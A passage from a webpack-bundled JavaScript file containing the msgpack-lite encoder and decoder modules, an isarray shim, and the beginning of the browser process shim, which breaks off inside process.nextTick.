                    var value = {};
                    var i;
                    var k = new Array(len);
                    var v = new Array(len);

                    var decode = decoder.codec.decode;
                    for (i = 0; i < len; i++) {
                        k[i] = decode(decoder);
                        v[i] = decode(decoder);
                    }
                    for (i = 0; i < len; i++) {
                        value[k[i]] = v[i];
                    }
                    return value;
                }

                function map_to_map(decoder, len) {
                    var value = new Map();
                    var i;
                    var k = new Array(len);
                    var v = new Array(len);

                    var decode = decoder.codec.decode;
                    for (i = 0; i < len; i++) {
                        k[i] = decode(decoder);
                        v[i] = decode(decoder);
                    }
                    for (i = 0; i < len; i++) {
                        value.set(k[i], v[i]);
                    }
                    return value;
                }

                function array(decoder, len) {
                    var value = new Array(len);
                    var decode = decoder.codec.decode;
                    for (var i = 0; i < len; i++) {
                        value[i] = decode(decoder);
                    }
                    return value;
                }

                function str(decoder, len) {
                    var start = decoder.reserve(len);
                    var end = start + len;
                    return BufferProto.toString.call(decoder.buffer, "utf-8", start, end);
                }

                function bin_buffer(decoder, len) {
                    var start = decoder.reserve(len);
                    var end = start + len;
                    var buf = BufferProto.slice.call(decoder.buffer, start, end);
                    return Bufferish.from(buf);
                }

                function bin_arraybuffer(decoder, len) {
                    var start = decoder.reserve(len);
                    var end = start + len;
                    var buf = BufferProto.slice.call(decoder.buffer, start, end);
                    return Bufferish.Uint8Array.from(buf).buffer;
                }

                function ext(decoder, len) {
                    var start = decoder.reserve(len+1);
                    var type = decoder.buffer[start++];
                    var end = start + len;
                    var unpack = decoder.codec.getExtUnpacker(type);
                    if (!unpack) throw new Error("Invalid ext type: " + (type ? ("0x" + type.toString(16)) : type));
                    var buf = BufferProto.slice.call(decoder.buffer, start, end);
                    return unpack(buf);
                }

                function uint8(decoder) {
                    var start = decoder.reserve(1);
                    return decoder.buffer[start];
                }

                function int8(decoder) {
                    var start = decoder.reserve(1);
                    var value = decoder.buffer[start];
                    return (value & 0x80) ? value - 0x100 : value;
                }

                function uint16(decoder) {
                    var start = decoder.reserve(2);
                    var buffer = decoder.buffer;
                    return (buffer[start++] << 8) | buffer[start];
                }

                function int16(decoder) {
                    var start = decoder.reserve(2);
                    var buffer = decoder.buffer;
                    var value = (buffer[start++] << 8) | buffer[start];
                    return (value & 0x8000) ? value - 0x10000 : value;
                }

                function uint32(decoder) {
                    var start = decoder.reserve(4);
                    var buffer = decoder.buffer;
                    return (buffer[start++] * 16777216) + (buffer[start++] << 16) + (buffer[start++] << 8) + buffer[start];
                }

                function int32(decoder) {
                    var start = decoder.reserve(4);
                    var buffer = decoder.buffer;
                    return (buffer[start++] << 24) | (buffer[start++] << 16) | (buffer[start++] << 8) | buffer[start];
                }

                function read(len, method) {
                    return function(decoder) {
                        var start = decoder.reserve(len);
                        return method.call(decoder.buffer, start, NO_ASSERT);
                    };
                }

                function readUInt64BE(start) {
                    return new Uint64BE(this, start).toNumber();
                }

                function readInt64BE(start) {
                    return new Int64BE(this, start).toNumber();
                }

                function readUInt64BE_int64(start) {
                    return new Uint64BE(this, start);
                }

                function readInt64BE_int64(start) {
                    return new Int64BE(this, start);
                }

                function readFloatBE(start) {
                    return ieee754.read(this, start, false, 23, 4);
                }

                function readDoubleBE(start) {
                    return ieee754.read(this, start, false, 52, 8);
                }

                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/read-token.js":
            /*!*****************************************************!*\
  !*** ./node_modules/msgpack-lite/lib/read-token.js ***!
  \*****************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                // read-token.js

                var ReadFormat = __webpack_require__(/*! ./read-format */ "./node_modules/msgpack-lite/lib/read-format.js");

                exports.getReadToken = getReadToken;

                function getReadToken(options) {
                    var format = ReadFormat.getReadFormat(options);

                    if (options && options.useraw) {
                        return init_useraw(format);
                    } else {
                        return init_token(format);
                    }
                }

                function init_token(format) {
                    var i;
                    var token = new Array(256);

                    // positive fixint -- 0x00 - 0x7f
                    for (i = 0x00; i <= 0x7f; i++) {
                        token[i] = constant(i);
                    }

                    // fixmap -- 0x80 - 0x8f
                    for (i = 0x80; i <= 0x8f; i++) {
                        token[i] = fix(i - 0x80, format.map);
                    }

                    // fixarray -- 0x90 - 0x9f
                    for (i = 0x90; i <= 0x9f; i++) {
                        token[i] = fix(i - 0x90, format.array);
                    }

                    // fixstr -- 0xa0 - 0xbf
                    for (i = 0xa0; i <= 0xbf; i++) {
                        token[i] = fix(i - 0xa0, format.str);
                    }

                    // nil -- 0xc0
                    token[0xc0] = constant(null);

                    // (never used) -- 0xc1
                    token[0xc1] = null;

                    // false -- 0xc2
                    // true -- 0xc3
                    token[0xc2] = constant(false);
                    token[0xc3] = constant(true);

                    // bin 8 -- 0xc4
                    // bin 16 -- 0xc5
                    // bin 32 -- 0xc6
                    token[0xc4] = flex(format.uint8, format.bin);
                    token[0xc5] = flex(format.uint16, format.bin);
                    token[0xc6] = flex(format.uint32, format.bin);

                    // ext 8 -- 0xc7
                    // ext 16 -- 0xc8
                    // ext 32 -- 0xc9
                    token[0xc7] = flex(format.uint8, format.ext);
                    token[0xc8] = flex(format.uint16, format.ext);
                    token[0xc9] = flex(format.uint32, format.ext);

                    // float 32 -- 0xca
                    // float 64 -- 0xcb
                    token[0xca] = format.float32;
                    token[0xcb] = format.float64;

                    // uint 8 -- 0xcc
                    // uint 16 -- 0xcd
                    // uint 32 -- 0xce
                    // uint 64 -- 0xcf
                    token[0xcc] = format.uint8;
                    token[0xcd] = format.uint16;
                    token[0xce] = format.uint32;
                    token[0xcf] = format.uint64;

                    // int 8 -- 0xd0
                    // int 16 -- 0xd1
                    // int 32 -- 0xd2
                    // int 64 -- 0xd3
                    token[0xd0] = format.int8;
                    token[0xd1] = format.int16;
                    token[0xd2] = format.int32;
                    token[0xd3] = format.int64;

                    // fixext 1 -- 0xd4
                    // fixext 2 -- 0xd5
                    // fixext 4 -- 0xd6
                    // fixext 8 -- 0xd7
                    // fixext 16 -- 0xd8
                    token[0xd4] = fix(1, format.ext);
                    token[0xd5] = fix(2, format.ext);
                    token[0xd6] = fix(4, format.ext);
                    token[0xd7] = fix(8, format.ext);
                    token[0xd8] = fix(16, format.ext);

                    // str 8 -- 0xd9
                    // str 16 -- 0xda
                    // str 32 -- 0xdb
                    token[0xd9] = flex(format.uint8, format.str);
                    token[0xda] = flex(format.uint16, format.str);
                    token[0xdb] = flex(format.uint32, format.str);

                    // array 16 -- 0xdc
                    // array 32 -- 0xdd
                    token[0xdc] = flex(format.uint16, format.array);
                    token[0xdd] = flex(format.uint32, format.array);

                    // map 16 -- 0xde
                    // map 32 -- 0xdf
                    token[0xde] = flex(format.uint16, format.map);
                    token[0xdf] = flex(format.uint32, format.map);

                    // negative fixint -- 0xe0 - 0xff
                    for (i = 0xe0; i <= 0xff; i++) {
                        token[i] = constant(i - 0x100);
                    }

                    return token;
                }

                function init_useraw(format) {
                    var i;
                    var token = init_token(format).slice();

                    // raw 8 -- 0xd9
                    // raw 16 -- 0xda
                    // raw 32 -- 0xdb
                    token[0xd9] = token[0xc4];
                    token[0xda] = token[0xc5];
                    token[0xdb] = token[0xc6];

                    // fixraw -- 0xa0 - 0xbf
                    for (i = 0xa0; i <= 0xbf; i++) {
                        token[i] = fix(i - 0xa0, format.bin);
                    }

                    return token;
                }

                function constant(value) {
                    return function() {
                        return value;
                    };
                }

                function flex(lenFunc, decodeFunc) {
                    return function(decoder) {
                        var len = lenFunc(decoder);
                        return decodeFunc(decoder, len);
                    };
                }

                function fix(len, method) {
                    return function(decoder) {
                        return method(decoder, len);
                    };
                }


                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/write-core.js":
            /*!*****************************************************!*\
  !*** ./node_modules/msgpack-lite/lib/write-core.js ***!
  \*****************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                // write-core.js

                var ExtBuffer = __webpack_require__(/*! ./ext-buffer */ "./node_modules/msgpack-lite/lib/ext-buffer.js").ExtBuffer;
                var ExtPacker = __webpack_require__(/*! ./ext-packer */ "./node_modules/msgpack-lite/lib/ext-packer.js");
                var WriteType = __webpack_require__(/*! ./write-type */ "./node_modules/msgpack-lite/lib/write-type.js");
                var CodecBase = __webpack_require__(/*! ./codec-base */ "./node_modules/msgpack-lite/lib/codec-base.js");

                CodecBase.install({
                    addExtPacker: addExtPacker,
                    getExtPacker: getExtPacker,
                    init: init
                });

                exports.preset = init.call(CodecBase.preset);

                function getEncoder(options) {
                    var writeType = WriteType.getWriteType(options);
                    return encode;

                    function encode(encoder, value) {
                        var func = writeType[typeof value];
                        if (!func) throw new Error("Unsupported type \"" + (typeof value) + "\": " + value);
                        func(encoder, value);
                    }
                }

                function init() {
                    var options = this.options;
                    this.encode = getEncoder(options);

                    if (options && options.preset) {
                        ExtPacker.setExtPackers(this);
                    }

                    return this;
                }

                function addExtPacker(etype, Class, packer) {
                    packer = CodecBase.filter(packer);
                    var name = Class.name;
                    if (name && name !== "Object") {
                        var packers = this.extPackers || (this.extPackers = {});
                        packers[name] = extPacker;
                    } else {
                        // fallback for IE
                        var list = this.extEncoderList || (this.extEncoderList = []);
                        list.unshift([Class, extPacker]);
                    }

                    function extPacker(value) {
                        if (packer) value = packer(value);
                        return new ExtBuffer(value, etype);
                    }
                }

                function getExtPacker(value) {
                    var packers = this.extPackers || (this.extPackers = {});
                    var c = value.constructor;
                    var e = c && c.name && packers[c.name];
                    if (e) return e;

                    // fallback for IE
                    var list = this.extEncoderList || (this.extEncoderList = []);
                    var len = list.length;
                    for (var i = 0; i < len; i++) {
                        var pair = list[i];
                        if (c === pair[0]) return pair[1];
                    }
                }


                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/write-token.js":
            /*!******************************************************!*\
  !*** ./node_modules/msgpack-lite/lib/write-token.js ***!
  \******************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                // write-token.js

                var ieee754 = __webpack_require__(/*! ieee754 */ "./node_modules/ieee754/index.js");
                var Int64Buffer = __webpack_require__(/*! int64-buffer */ "./node_modules/int64-buffer/int64-buffer.js");
                var Uint64BE = Int64Buffer.Uint64BE;
                var Int64BE = Int64Buffer.Int64BE;

                var uint8 = __webpack_require__(/*! ./write-uint8 */ "./node_modules/msgpack-lite/lib/write-uint8.js").uint8;
                var Bufferish = __webpack_require__(/*! ./bufferish */ "./node_modules/msgpack-lite/lib/bufferish.js");
                var Buffer = Bufferish.global;
                var IS_BUFFER_SHIM = Bufferish.hasBuffer && ("TYPED_ARRAY_SUPPORT" in Buffer);
                var NO_TYPED_ARRAY = IS_BUFFER_SHIM && !Buffer.TYPED_ARRAY_SUPPORT;
                var Buffer_prototype = Bufferish.hasBuffer && Buffer.prototype || {};

                exports.getWriteToken = getWriteToken;

                function getWriteToken(options) {
                    if (options && options.uint8array) {
                        return init_uint8array();
                    } else if (NO_TYPED_ARRAY || (Bufferish.hasBuffer && options && options.safe)) {
                        return init_safe();
                    } else {
                        return init_token();
                    }
                }

                function init_uint8array() {
                    var token = init_token();

                    // float 32 -- 0xca
                    // float 64 -- 0xcb
                    token[0xca] = writeN(0xca, 4, writeFloatBE);
                    token[0xcb] = writeN(0xcb, 8, writeDoubleBE);

                    return token;
                }

                // Node.js and browsers with TypedArray

                function init_token() {
                    // (immediate values)
                    // positive fixint -- 0x00 - 0x7f
                    // nil -- 0xc0
                    // false -- 0xc2
                    // true -- 0xc3
                    // negative fixint -- 0xe0 - 0xff
                    var token = uint8.slice();

                    // bin 8 -- 0xc4
                    // bin 16 -- 0xc5
                    // bin 32 -- 0xc6
                    token[0xc4] = write1(0xc4);
                    token[0xc5] = write2(0xc5);
                    token[0xc6] = write4(0xc6);

                    // ext 8 -- 0xc7
                    // ext 16 -- 0xc8
                    // ext 32 -- 0xc9
                    token[0xc7] = write1(0xc7);
                    token[0xc8] = write2(0xc8);
                    token[0xc9] = write4(0xc9);

                    // float 32 -- 0xca
                    // float 64 -- 0xcb
                    token[0xca] = writeN(0xca, 4, (Buffer_prototype.writeFloatBE || writeFloatBE), true);
                    token[0xcb] = writeN(0xcb, 8, (Buffer_prototype.writeDoubleBE || writeDoubleBE), true);

                    // uint 8 -- 0xcc
                    // uint 16 -- 0xcd
                    // uint 32 -- 0xce
                    // uint 64 -- 0xcf
                    token[0xcc] = write1(0xcc);
                    token[0xcd] = write2(0xcd);
                    token[0xce] = write4(0xce);
                    token[0xcf] = writeN(0xcf, 8, writeUInt64BE);

                    // int 8 -- 0xd0
                    // int 16 -- 0xd1
                    // int 32 -- 0xd2
                    // int 64 -- 0xd3
                    token[0xd0] = write1(0xd0);
                    token[0xd1] = write2(0xd1);
                    token[0xd2] = write4(0xd2);
                    token[0xd3] = writeN(0xd3, 8, writeInt64BE);

                    // str 8 -- 0xd9
                    // str 16 -- 0xda
                    // str 32 -- 0xdb
                    token[0xd9] = write1(0xd9);
                    token[0xda] = write2(0xda);
                    token[0xdb] = write4(0xdb);

                    // array 16 -- 0xdc
                    // array 32 -- 0xdd
                    token[0xdc] = write2(0xdc);
                    token[0xdd] = write4(0xdd);

                    // map 16 -- 0xde
                    // map 32 -- 0xdf
                    token[0xde] = write2(0xde);
                    token[0xdf] = write4(0xdf);

                    return token;
                }

                // safe mode: for old browsers and who needs asserts

                function init_safe() {
                    // (immediate values)
                    // positive fixint -- 0x00 - 0x7f
                    // nil -- 0xc0
                    // false -- 0xc2
                    // true -- 0xc3
                    // negative fixint -- 0xe0 - 0xff
                    var token = uint8.slice();

                    // bin 8 -- 0xc4
                    // bin 16 -- 0xc5
                    // bin 32 -- 0xc6
                    token[0xc4] = writeN(0xc4, 1, Buffer.prototype.writeUInt8);
                    token[0xc5] = writeN(0xc5, 2, Buffer.prototype.writeUInt16BE);
                    token[0xc6] = writeN(0xc6, 4, Buffer.prototype.writeUInt32BE);

                    // ext 8 -- 0xc7
                    // ext 16 -- 0xc8
                    // ext 32 -- 0xc9
                    token[0xc7] = writeN(0xc7, 1, Buffer.prototype.writeUInt8);
                    token[0xc8] = writeN(0xc8, 2, Buffer.prototype.writeUInt16BE);
                    token[0xc9] = writeN(0xc9, 4, Buffer.prototype.writeUInt32BE);

                    // float 32 -- 0xca
                    // float 64 -- 0xcb
                    token[0xca] = writeN(0xca, 4, Buffer.prototype.writeFloatBE);
                    token[0xcb] = writeN(0xcb, 8, Buffer.prototype.writeDoubleBE);

                    // uint 8 -- 0xcc
                    // uint 16 -- 0xcd
                    // uint 32 -- 0xce
                    // uint 64 -- 0xcf
                    token[0xcc] = writeN(0xcc, 1, Buffer.prototype.writeUInt8);
                    token[0xcd] = writeN(0xcd, 2, Buffer.prototype.writeUInt16BE);
                    token[0xce] = writeN(0xce, 4, Buffer.prototype.writeUInt32BE);
                    token[0xcf] = writeN(0xcf, 8, writeUInt64BE);

                    // int 8 -- 0xd0
                    // int 16 -- 0xd1
                    // int 32 -- 0xd2
                    // int 64 -- 0xd3
                    token[0xd0] = writeN(0xd0, 1, Buffer.prototype.writeInt8);
                    token[0xd1] = writeN(0xd1, 2, Buffer.prototype.writeInt16BE);
                    token[0xd2] = writeN(0xd2, 4, Buffer.prototype.writeInt32BE);
                    token[0xd3] = writeN(0xd3, 8, writeInt64BE);

                    // str 8 -- 0xd9
                    // str 16 -- 0xda
                    // str 32 -- 0xdb
                    token[0xd9] = writeN(0xd9, 1, Buffer.prototype.writeUInt8);
                    token[0xda] = writeN(0xda, 2, Buffer.prototype.writeUInt16BE);
                    token[0xdb] = writeN(0xdb, 4, Buffer.prototype.writeUInt32BE);

                    // array 16 -- 0xdc
                    // array 32 -- 0xdd
                    token[0xdc] = writeN(0xdc, 2, Buffer.prototype.writeUInt16BE);
                    token[0xdd] = writeN(0xdd, 4, Buffer.prototype.writeUInt32BE);

                    // map 16 -- 0xde
                    // map 32 -- 0xdf
                    token[0xde] = writeN(0xde, 2, Buffer.prototype.writeUInt16BE);
                    token[0xdf] = writeN(0xdf, 4, Buffer.prototype.writeUInt32BE);

                    return token;
                }

                function write1(type) {
                    return function(encoder, value) {
                        var offset = encoder.reserve(2);
                        var buffer = encoder.buffer;
                        buffer[offset++] = type;
                        buffer[offset] = value;
                    };
                }

                function write2(type) {
                    return function(encoder, value) {
                        var offset = encoder.reserve(3);
                        var buffer = encoder.buffer;
                        buffer[offset++] = type;
                        buffer[offset++] = value >>> 8;
                        buffer[offset] = value;
                    };
                }

                function write4(type) {
                    return function(encoder, value) {
                        var offset = encoder.reserve(5);
                        var buffer = encoder.buffer;
                        buffer[offset++] = type;
                        buffer[offset++] = value >>> 24;
                        buffer[offset++] = value >>> 16;
                        buffer[offset++] = value >>> 8;
                        buffer[offset] = value;
                    };
                }

                function writeN(type, len, method, noAssert) {
                    return function(encoder, value) {
                        var offset = encoder.reserve(len + 1);
                        encoder.buffer[offset++] = type;
                        method.call(encoder.buffer, value, offset, noAssert);
                    };
                }

                function writeUInt64BE(value, offset) {
                    new Uint64BE(this, offset, value);
                }

                function writeInt64BE(value, offset) {
                    new Int64BE(this, offset, value);
                }

                function writeFloatBE(value, offset) {
                    ieee754.write(this, value, offset, false, 23, 4);
                }

                function writeDoubleBE(value, offset) {
                    ieee754.write(this, value, offset, false, 52, 8);
                }


                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/write-type.js":
            /*!*****************************************************!*\
  !*** ./node_modules/msgpack-lite/lib/write-type.js ***!
  \*****************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                // write-type.js

                var IS_ARRAY = __webpack_require__(/*! isarray */ "./node_modules/msgpack-lite/node_modules/isarray/index.js");
                var Int64Buffer = __webpack_require__(/*! int64-buffer */ "./node_modules/int64-buffer/int64-buffer.js");
                var Uint64BE = Int64Buffer.Uint64BE;
                var Int64BE = Int64Buffer.Int64BE;

                var Bufferish = __webpack_require__(/*! ./bufferish */ "./node_modules/msgpack-lite/lib/bufferish.js");
                var BufferProto = __webpack_require__(/*! ./bufferish-proto */ "./node_modules/msgpack-lite/lib/bufferish-proto.js");
                var WriteToken = __webpack_require__(/*! ./write-token */ "./node_modules/msgpack-lite/lib/write-token.js");
                var uint8 = __webpack_require__(/*! ./write-uint8 */ "./node_modules/msgpack-lite/lib/write-uint8.js").uint8;
                var ExtBuffer = __webpack_require__(/*! ./ext-buffer */ "./node_modules/msgpack-lite/lib/ext-buffer.js").ExtBuffer;

                var HAS_UINT8ARRAY = ("undefined" !== typeof Uint8Array);
                var HAS_MAP = ("undefined" !== typeof Map);

                var extmap = [];
                extmap[1] = 0xd4;
                extmap[2] = 0xd5;
                extmap[4] = 0xd6;
                extmap[8] = 0xd7;
                extmap[16] = 0xd8;

                exports.getWriteType = getWriteType;

                function getWriteType(options) {
                    var token = WriteToken.getWriteToken(options);
                    var useraw = options && options.useraw;
                    var binarraybuffer = HAS_UINT8ARRAY && options && options.binarraybuffer;
                    var isBuffer = binarraybuffer ? Bufferish.isArrayBuffer : Bufferish.isBuffer;
                    var bin = binarraybuffer ? bin_arraybuffer : bin_buffer;
                    var usemap = HAS_MAP && options && options.usemap;
                    var map = usemap ? map_to_map : obj_to_map;

                    var writeType = {
                        "boolean": bool,
                        "function": nil,
                        "number": number,
                        "object": (useraw ? object_raw : object),
                        "string": _string(useraw ? raw_head_size : str_head_size),
                        "symbol": nil,
                        "undefined": nil
                    };

                    return writeType;

                    // false -- 0xc2
                    // true -- 0xc3
                    function bool(encoder, value) {
                        var type = value ? 0xc3 : 0xc2;
                        token[type](encoder, value);
                    }

                    function number(encoder, value) {
                        var ivalue = value | 0;
                        var type;
                        if (value !== ivalue) {
                            // float 64 -- 0xcb
                            type = 0xcb;
                            token[type](encoder, value);
                            return;
                        } else if (-0x20 <= ivalue && ivalue <= 0x7F) {
                            // positive fixint -- 0x00 - 0x7f
                            // negative fixint -- 0xe0 - 0xff
                            type = ivalue & 0xFF;
                        } else if (0 <= ivalue) {
                            // uint 8 -- 0xcc
                            // uint 16 -- 0xcd
                            // uint 32 -- 0xce
                            type = (ivalue <= 0xFF) ? 0xcc : (ivalue <= 0xFFFF) ? 0xcd : 0xce;
                        } else {
                            // int 8 -- 0xd0
                            // int 16 -- 0xd1
                            // int 32 -- 0xd2
                            type = (-0x80 <= ivalue) ? 0xd0 : (-0x8000 <= ivalue) ? 0xd1 : 0xd2;
                        }
                        token[type](encoder, ivalue);
                    }

                    // uint 64 -- 0xcf
                    function uint64(encoder, value) {
                        var type = 0xcf;
                        token[type](encoder, value.toArray());
                    }

                    // int 64 -- 0xd3
                    function int64(encoder, value) {
                        var type = 0xd3;
                        token[type](encoder, value.toArray());
                    }

                    // str 8 -- 0xd9
                    // str 16 -- 0xda
                    // str 32 -- 0xdb
                    // fixstr -- 0xa0 - 0xbf
                    function str_head_size(length) {
                        return (length < 32) ? 1 : (length <= 0xFF) ? 2 : (length <= 0xFFFF) ? 3 : 5;
                    }

                    // raw 16 -- 0xda
                    // raw 32 -- 0xdb
                    // fixraw -- 0xa0 - 0xbf
                    function raw_head_size(length) {
                        return (length < 32) ? 1 : (length <= 0xFFFF) ? 3 : 5;
                    }

                    function _string(head_size) {
                        return string;

                        function string(encoder, value) {
                            // prepare buffer
                            var length = value.length;
                            var maxsize = 5 + length * 3;
                            encoder.offset = encoder.reserve(maxsize);
                            var buffer = encoder.buffer;

                            // expected header size
                            var expected = head_size(length);

                            // expected start point
                            var start = encoder.offset + expected;

                            // write string
                            length = BufferProto.write.call(buffer, value, start);

                            // actual header size
                            var actual = head_size(length);

                            // move content when needed
                            if (expected !== actual) {
                                var targetStart = start + actual - expected;
                                var end = start + length;
                                BufferProto.copy.call(buffer, buffer, targetStart, start, end);
                            }

                            // write header
                            var type = (actual === 1) ? (0xa0 + length) : (actual <= 3) ? (0xd7 + actual) : 0xdb;
                            token[type](encoder, length);

                            // move cursor
                            encoder.offset += length;
                        }
                    }

                    function object(encoder, value) {
                        // null
                        if (value === null) return nil(encoder, value);

                        // Buffer
                        if (isBuffer(value)) return bin(encoder, value);

                        // Array
                        if (IS_ARRAY(value)) return array(encoder, value);

                        // int64-buffer objects
                        if (Uint64BE.isUint64BE(value)) return uint64(encoder, value);
                        if (Int64BE.isInt64BE(value)) return int64(encoder, value);

                        // ext formats
                        var packer = encoder.codec.getExtPacker(value);
                        if (packer) value = packer(value);
                        if (value instanceof ExtBuffer) return ext(encoder, value);

                        // plain old Objects or Map
                        map(encoder, value);
                    }

                    function object_raw(encoder, value) {
                        // Buffer
                        if (isBuffer(value)) return raw(encoder, value);

                        // others
                        object(encoder, value);
                    }

                    // nil -- 0xc0
                    function nil(encoder, value) {
                        var type = 0xc0;
                        token[type](encoder, value);
                    }

                    // fixarray -- 0x90 - 0x9f
                    // array 16 -- 0xdc
                    // array 32 -- 0xdd
                    function array(encoder, value) {
                        var length = value.length;
                        var type = (length < 16) ? (0x90 + length) : (length <= 0xFFFF) ? 0xdc : 0xdd;
                        token[type](encoder, length);

                        var encode = encoder.codec.encode;
                        for (var i = 0; i < length; i++) {
                            encode(encoder, value[i]);
                        }
                    }

                    // bin 8 -- 0xc4
                    // bin 16 -- 0xc5
                    // bin 32 -- 0xc6
                    function bin_buffer(encoder, value) {
                        var length = value.length;
                        var type = (length < 0xFF) ? 0xc4 : (length <= 0xFFFF) ? 0xc5 : 0xc6;
                        token[type](encoder, length);
                        encoder.send(value);
                    }

                    function bin_arraybuffer(encoder, value) {
                        bin_buffer(encoder, new Uint8Array(value));
                    }

                    // fixext 1 -- 0xd4
                    // fixext 2 -- 0xd5
                    // fixext 4 -- 0xd6
                    // fixext 8 -- 0xd7
                    // fixext 16 -- 0xd8
                    // ext 8 -- 0xc7
                    // ext 16 -- 0xc8
                    // ext 32 -- 0xc9
                    function ext(encoder, value) {
                        var buffer = value.buffer;
                        var length = buffer.length;
                        var type = extmap[length] || ((length < 0xFF) ? 0xc7 : (length <= 0xFFFF) ? 0xc8 : 0xc9);
                        token[type](encoder, length);
                        uint8[value.type](encoder);
                        encoder.send(buffer);
                    }

                    // fixmap -- 0x80 - 0x8f
                    // map 16 -- 0xde
                    // map 32 -- 0xdf
                    function obj_to_map(encoder, value) {
                        var keys = Object.keys(value);
                        var length = keys.length;
                        var type = (length < 16) ? (0x80 + length) : (length <= 0xFFFF) ? 0xde : 0xdf;
                        token[type](encoder, length);

                        var encode = encoder.codec.encode;
                        keys.forEach(function(key) {
                            encode(encoder, key);
                            encode(encoder, value[key]);
                        });
                    }

                    // fixmap -- 0x80 - 0x8f
                    // map 16 -- 0xde
                    // map 32 -- 0xdf
                    function map_to_map(encoder, value) {
                        if (!(value instanceof Map)) return obj_to_map(encoder, value);

                        var length = value.size;
                        var type = (length < 16) ? (0x80 + length) : (length <= 0xFFFF) ? 0xde : 0xdf;
                        token[type](encoder, length);

                        var encode = encoder.codec.encode;
                        value.forEach(function(val, key, m) {
                            encode(encoder, key);
                            encode(encoder, val);
                        });
                    }

                    // raw 16 -- 0xda
                    // raw 32 -- 0xdb
                    // fixraw -- 0xa0 - 0xbf
                    function raw(encoder, value) {
                        var length = value.length;
                        var type = (length < 32) ? (0xa0 + length) : (length <= 0xFFFF) ? 0xda : 0xdb;
                        token[type](encoder, length);
                        encoder.send(value);
                    }
                }


                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/write-uint8.js":
            /*!******************************************************!*\
  !*** ./node_modules/msgpack-lite/lib/write-uint8.js ***!
  \******************************************************/
            /*! no static exports found */
            /***/ (function(module, exports) {

                // write-unit8.js

                var constant = exports.uint8 = new Array(256);

                for (var i = 0x00; i <= 0xFF; i++) {
                    constant[i] = write0(i);
                }

                function write0(type) {
                    return function(encoder) {
                        var offset = encoder.reserve(1);
                        encoder.buffer[offset] = type;
                    };
                }


                /***/ }),

            /***/ "./node_modules/msgpack-lite/node_modules/isarray/index.js":
            /*!*****************************************************************!*\
  !*** ./node_modules/msgpack-lite/node_modules/isarray/index.js ***!
  \*****************************************************************/
            /*! no static exports found */
            /***/ (function(module, exports) {

                var toString = {}.toString;

                module.exports = Array.isArray || function (arr) {
                    return toString.call(arr) == '[object Array]';
                };


                /***/ }),

            /***/ "./node_modules/process/browser.js":
            /*!*****************************************!*\
  !*** ./node_modules/process/browser.js ***!
  \*****************************************/
            /*! no static exports found */
            /***/ (function(module, exports) {

                // shim for using process in browser
                var process = module.exports = {};

                // cached from whatever global is present so that test runners that stub it
                // don't break things.  But we need to wrap it in a try catch in case it is
                // wrapped in strict mode code which doesn't define any globals.  It's inside a
                // function because try/catches deoptimize in certain engines.

                var cachedSetTimeout;
                var cachedClearTimeout;

                function defaultSetTimout() {
                    throw new Error('setTimeout has not been defined');
                }
                function defaultClearTimeout () {
                    throw new Error('clearTimeout has not been defined');
                }
                (function () {
                    try {
                        if (typeof setTimeout === 'function') {
                            cachedSetTimeout = setTimeout;
                        } else {
                            cachedSetTimeout = defaultSetTimout;
                        }
                    } catch (e) {
                        cachedSetTimeout = defaultSetTimout;
                    }
                    try {
                        if (typeof clearTimeout === 'function') {
                            cachedClearTimeout = clearTimeout;
                        } else {
                            cachedClearTimeout = defaultClearTimeout;
                        }
                    } catch (e) {
                        cachedClearTimeout = defaultClearTimeout;
                    }
                } ())
                function runTimeout(fun) {
                    if (cachedSetTimeout === setTimeout) {
                        //normal enviroments in sane situations
                        return setTimeout(fun, 0);
                    }
                    // if setTimeout wasn't available but was latter defined
                    if ((cachedSetTimeout === defaultSetTimout || !cachedSetTimeout) && setTimeout) {
                        cachedSetTimeout = setTimeout;
                        return setTimeout(fun, 0);
                    }
                    try {
                        // when when somebody has screwed with setTimeout but no I.E. maddness
                        return cachedSetTimeout(fun, 0);
                    } catch(e){
                        try {
                            // When we are in I.E. but the script has been evaled so I.E. doesn't trust the global object when called normally
                            return cachedSetTimeout.call(null, fun, 0);
                        } catch(e){
                            // same as above but when it's a version of I.E. that must have the global object for 'this', hopfully our context correct otherwise it will throw a global error
                            return cachedSetTimeout.call(this, fun, 0);
                        }
                    }


                }
                function runClearTimeout(marker) {
                    if (cachedClearTimeout === clearTimeout) {
                        //normal enviroments in sane situations
                        return clearTimeout(marker);
                    }
                    // if clearTimeout wasn't available but was latter defined
                    if ((cachedClearTimeout === defaultClearTimeout || !cachedClearTimeout) && clearTimeout) {
                        cachedClearTimeout = clearTimeout;
                        return clearTimeout(marker);
                    }
                    try {
                        // when when somebody has screwed with setTimeout but no I.E. maddness
                        return cachedClearTimeout(marker);
                    } catch (e){
                        try {
                            // When we are in I.E. but the script has been evaled so I.E. doesn't  trust the global object when called normally
                            return cachedClearTimeout.call(null, marker);
                        } catch (e){
                            // same as above but when it's a version of I.E. that must have the global object for 'this', hopfully our context correct otherwise it will throw a global error.
                            // Some versions of I.E. have different rules for clearTimeout vs setTimeout
                            return cachedClearTimeout.call(this, marker);
                        }
                    }



                }
                var queue = [];
                var draining = false;
                var currentQueue;
                var queueIndex = -1;

                function cleanUpNextTick() {
                    if (!draining || !currentQueue) {
                        return;
                    }
                    draining = false;
                    if (currentQueue.length) {
                        queue = currentQueue.concat(queue);
                    } else {
                        queueIndex = -1;
                    }
                    if (queue.length) {
                        drainQueue();
                    }
                }

                function drainQueue() {
                    if (draining) {
                        return;
                    }
                    var timeout = runTimeout(cleanUpNextTick);
                    draining = true;

                    var len = queue.length;
                    while(len) {
                        currentQueue = queue;
                        queue = [];
                        while (++queueIndex < len) {
                            if (currentQueue) {
                                currentQueue[queueIndex].run();
                            }
                        }
                        queueIndex = -1;
                        len = queue.length;
                    }
                    currentQueue = null;
                    draining = false;
                    runClearTimeout(timeout);
                }

                process.nextTick = function (fun) {
                    var args = new Array(arguments.length - 1);
                    if (arguments.length > 1) {
                        for (var i = 1; i < arguments.length; i++) {
                            args[i - 1] = arguments[i];
                        }
                    }
                    queue.push(new Item(fun, args));
